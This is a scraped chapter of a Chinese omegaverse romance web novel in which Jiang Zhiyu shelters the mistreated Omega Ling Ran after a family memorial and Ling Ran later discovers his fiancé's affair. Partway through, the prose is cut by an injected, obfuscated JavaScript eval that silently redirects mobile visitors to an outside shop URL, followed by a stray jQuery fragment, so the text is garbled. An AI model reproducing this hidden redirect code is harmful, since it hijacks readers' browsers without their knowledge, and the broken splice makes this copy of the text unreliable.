原本快速从凌然身侧掠过的众人顿时停住脚步,看戏似的看了看这边,再看看已经离去的蒋蓉莲几人。
这小Omega不是马上要嫁进二房家门的吗?
怎么二房不管,大房的江之屿反倒管起来了?
凌然抬眼望着望着,眼眶就渐渐酸涩难忍。
如果没人为他撑伞,那么他还可以默默从地上自己爬起来,淋着雨走下山。
可现在头顶出现了一把伞,为他挡住倾泻骤雨,他便忽然控制不住自己的眼泪。
他没出息的再次垂下头,眼泪和着雨滴落进冰冷泥土里,瘦小的身子像是在此处生根发了芽,靠自己的力量难以再支撑下去。
“之屿啊,怎么还不下山?”一道沉稳沧桑的嗓音忽然从耳侧传来。
尹老爷子坐在个简易轿子上,由两个身强力壮的保镖抬着下山,一侧还跟着个人专门为他撑伞。
尹家跟江家是从祖辈就交好的关系,江之屿见着尹老爷子也要卖几分薄面。
他轻轻颔首,对轿子上的老爷子打了个招呼:“尹叔。”
尹老爷子只是垂下眼皮,在他脚边快要缩成一团的小Omega身上扫了眼,便人精似的嗅出了几分不同寻常的意味。
“这是盛译的媳妇吧,刚才我听着是跟二房家里的闹了不愉快?”尹老爷子语重心长道,“今天毕竟是你爷爷的忌日,这么多外人都在,闹成这样谁脸上都不好看,你父亲行动不便没来后山,我刚才先让楚楚把二房的劝回去了,至于这个小的……”
一声闷雷惊过,雨声骤大。
凌然打了个寒颤,便听得头顶有道冷沉低醇的嗓音开了口。
“不过是家里小辈不懂事,”江之屿道,“劳尹叔烦心了。”
听他这样说,尹老爷子脸色似乎稍冷了下来,也没再多说什么,只道:“我与你父亲还有事要说,就先走了。”
等轿子离开后,凌然才用湿漉漉的手背擦了擦眼角的泪水。
头顶那道声音开口命令。
“起来。”
凌然脚下打滑,两腿颤巍巍的站了起来。
纤弱的Omega就那么湿漉漉的站在高大强健的enigma面前,湿透的衣服紧紧黏在雪白肌肤上,显得纤弱的身子更加委屈可怜。
江之屿提步走下山,凌然便识趣的一直紧紧跟在他身侧。
好在那把黑伞足够大,瘦小的Omega根本占不了多少地方。
赵钦早已经开了车门在林子外等着,两人一前一后上了车。
车门关上后,凌然才觉得这一幕如此熟悉。
他衣服湿的彻底,刚才下山的一路上有风吹过,他便一直止不住在打颤。
赵钦从后视镜看了眼后面,便悄悄打开了车内的暖风。
凌然慢慢感受到了一股暖意,他总算不再发抖了,极为感激地望了眼驾驶座的赵钦。
赵钦冲他笑了笑,眼神一转,便跟一双冷凝的凤眸对视上了。
赵钦头皮一炸,赶紧目视前方,悄无声息将后座隔板降了下来。
凌然整理了下自己的裤子,还偷偷把裤脚扯起来,看了眼戴在细白脚踝上的抑制器。
这个东西这么贵重,要是刚才被雨淋坏了可怎么好。
幸而抑制器屏幕亮了下,各项功能显示完好,凌然吐了口气。
没坏就好。
手机铃声忽然响了起来,凌然担心会吵到身旁的人,连忙侧过身子小声接起。
“喂,哥哥……”
凌溯的声音在寂静车厢内乍然传递出来:“你都在祭奠仪式上干了什么好事?!”
凌然心头一凛,便听见那头的人扬声质问道:“江家的电话都他妈打到我这来了,说你有信息素病,生不了孩子?”
凌然可以确定,身旁的人肯定能清清楚楚听见哥哥的声音。
他因为太过难堪而刻意压低了嗓音,语气都带了些讨好意味:“不是那样的,哥哥,我回家再好好跟你解释好不好?”
凌溯刚被蒋蓉莲一通电话扰得心烦意乱,哪里还能听得进凌然的解释:“你现在真是觉得要攀上江家这个高枝了,翅膀硬了,有什么事情都敢瞒着家里了是吧?啊?要不是江盛译他妈跟我说你带了抑制器,我们全家人现在被你蒙在鼓里!”
凌然瘪了瘪嘴巴,他在拼命忍住眼底泪意,就因为如此,他才不想告诉家里自己生病的事情。
在这个把Omega当成联姻工具的家里,没有人会关心他的病情,他们关心的是他还能不能给江盛译生出孩子。
凌然张了张嘴巴,正准备回答些什么,身侧却忽然有只手朝他伸了过来。
那只手骨节修长如玉,手背有隐隐青筋暴起,瞧着强劲又性感。
两指张开,便能将他两颊轻轻松松钳住。
凌然愕然瞪大了一双桃花眼,被人捏着脸颊转头过来,撞进一双幽深双眸中。
捏在他脸颊的指尖微微用力,在他被掌掴过的左脸上摩梭两下,他便因为疼痛而瞬间红了眼尾。
然而他被捏得合不拢嘴巴,半张着双唇,只能攥着手机呆愣愣望向身旁压迫强悍的男人。
江之屿打量着他,那个清晰可见的五指印还通红肿胀着,因为小Omega肌肤过于白嫩脆弱,这会儿竟然变得更加赫然醒目。
他忽然从小Omega手中拿过了手机,捏着掌心中柔嫩的脸蛋朝自己凑近,不动声色看着他。
手机那边的凌溯还在高声诘问,并不是真的想要个什么答案,只是单纯在向脾气乖软的小Omega发泄暴怒的情绪。
江之屿听了会,开口道:“他今晚不回去。”
听筒对面的人几乎是立即噤了声,反应过来后,怒火直冒,厉声问道:“你他妈的是谁?凌然手机为什么在你手上?”
男人语气平淡:“江之屿。”
此话一出,能听见凌溯在听筒外倒吸了口凉气,再说话时,语调就像是转了十八个弯。
“江总,不好意思,实在不好意思,我刚才真不是故意的,我这,我这不知道您在小然旁边,我那些话都不是冲您,您可千万不要误会啊。”
凌然第一次听到哥哥这样的声音,谄媚,讨好,极尽奉承。
凌溯并不知道对面现在是怎样的情形,只能小心翼翼询问道:“江总,您看方不方便让小然接下电话?我实在是很担心他给您那边添麻烦。”
江之屿望着一双雾蒙蒙,水盈盈的眼睛,只道:“明天我会派人送他回去。”
随后便直接挂断了电话。
凌然还没弄清楚他的话是什么意思,明天才送他回家,那今晚他要住在哪里?
车子已经在正堂外的草坪上停下,赵钦开了车门,给两人撑了把伞。
停在草坪的车已经不多,故友们都乘车径直下山离开了,雨势太大,江家其余人今晚都要留宿在老宅。
凌然没进正堂,江之屿让有些年迈的老管家领着他从偏院小路直接进了内庭院。
凌然一路跟在老管家身后,拐进了条幽深长廊,最后停在了一间屋子外头。
“凌先生,您今晚住在这里就好,有什么事情可以找我,我姓宋。”老管家冲凌然友善的笑了笑。
凌然忽然觉得他长得颇为眼熟,问道:“宋管家,您认识宋义吗?”
宋管家笑眯眯道:“宋义是我儿子。”
凌然恍然大悟,难怪两人连笑起来的弧度都一模一样。
宋管家又给凌然送来了干净的衣物,跟他交代了些房间内所需物品的摆放地,然后就礼貌的退出去了。
等他走后,凌然才仔细打量了圈这间偌大的客房,跟正堂是一体的中式古宅装饰风格,处处彰显着豪奢气息。
像这种年岁已久的老宅,不是有钱便可以随便修建起来的。
凌然先把抑制器摘了,放在床边。
抑制器虽然能防冷水,却不能防水蒸气,他迅速冲了个热水澡出来后,又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446111|141250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小心翼翼将抑制器上沾染的泥水擦了擦,然后才重新戴在了脚踝上。
从他这间屋子往外看,能看到窗外一片碧绿清脆的嫩竹,暴雨传林打叶,劈里啪啦的声音倒很是解压。
房间里的实木雕花镂空大床古色古香,看起来就很好睡的样子,凌然一头歪倒在上面,裹着被子听着窗外雨声,身心从没有如此放松过。
不知为何,他分明是第一次来江家老宅,却觉得在这里能够如此惬意放松。
或许,是因为林间骤雨遮挡在他头顶的一把黑伞。
又或许,是封闭车厢内捏住他脸颊替他回电话的低沉嗓音。
总之,凌然很快便昏昏沉沉睡了过去。
再次被轻微敲门声吵醒时,凌然看了眼窗外,天色已黑,暴雨竟然还在下着,且丝毫没有减弱的趋势。
他走过去开门,是宋管家带人给他送来了晚饭。
“凌先生,请慢用。”
来人正准备转身离开,凌然却忽然说道:“宋管家请等一下,江总……”
凌然抿了抿唇,又换了个称呼,“小叔,还有盛译他们呢?”
他居然一个人在房间内睡了一下午,甚至没去跟江家其他人打个招呼,这样岂不是太没有礼貌了。
宋管家略显犹豫,似乎是不知该不该将今日下午正堂内发生的争执告诉凌然。
最后宋管家还是没有多言,只是说道:“其他人也都回各自房间休息了,只是江总特意说了,就算您晚上没醒,也要把您叫起来吃晚饭,所以我才让厨房又做了点给您送过来。”
凌然看了看摆了满桌子的精致饭菜,对他礼貌道了谢。
吃完后,有人进来收拾好了碗碟。
凌然已经睡了一下午,现在没了困意,趴在雕花大床上,直愣愣望着黑夜中的骤雨。
一直劲瘦翠竹仿佛才刚破壤长出,就快要被沉重雨滴压弯脊背,低低的垂下去,垂下去,即将重新载回泥土里。
凌然盯着看了半晌,他觉得自己可能是脑子抽了,不然怎么会撑了把小伞就从屋子里跑了出来,替那株矮矮小小的竹子遮住了泼天雨幕。
他蹲在那里,伸手将瘦小的竹子扶起来,自言自语道:“别倒下呀,小竹子。”
“你可以的,要坚持住呀。”
天际像被只无形利爪撕开了道裂隙,电闪雷鸣之间,雨大的快要看不清人。
凌然找了根树枝,替小竹子撑住了快要倾斜的躯干后,这才站起身来。
可他刚准备回屋,却猛然瞧见不远处的竹林边隐约站着两个模糊黑影。
他被吓得心头一跳,觉得有些不对劲。
暴雨的夜间怎么会有人站在外面聊天?
他慢慢走近了些,在一道划破黑夜的闪电之下,看清楚了那两道同撑一把伞,在雨夜里深深相拥的身影。
是江盛译和尹楚。
他登时长大了嘴巴,用力吸进了一口潮湿的冷气。
惊雷声在头顶闷然炸裂开来,那两道身影像是也注意到了靠近过来的人。
尹楚立即推开江盛译,神色惶恐的回头望去。
可是刚才那个地方空空荡荡,哪里有什么鬼魅身影。
江盛译眸中满是痛苦之色,拉着他的手臂又将他紧紧拥进了怀里。
“楚楚,你说,我到底该怎么办才好?我喜欢的人是你,我怎么可以抛下你跟别人结婚?我做不到,我做不到!”
尹楚只是轻轻拍着江盛译的后背安抚,眼底却是一片清明。
难道刚才真的是自己看错了。
为什么那一瞬间,他好像在雨幕中看到了江之屿的身影?
就在两人几步之外的密竹林后,那把被骤雨击打的摇摇欲坠的小伞握在了另一只大掌手中。
而柔软娇弱的Omega毫无阻隔,后背被牢牢禁锢在一个宽阔强壮的胸膛前。
一条强健有力的手臂横在他眼前,带着微冷潮气的手掌紧紧捂住了他嘴巴。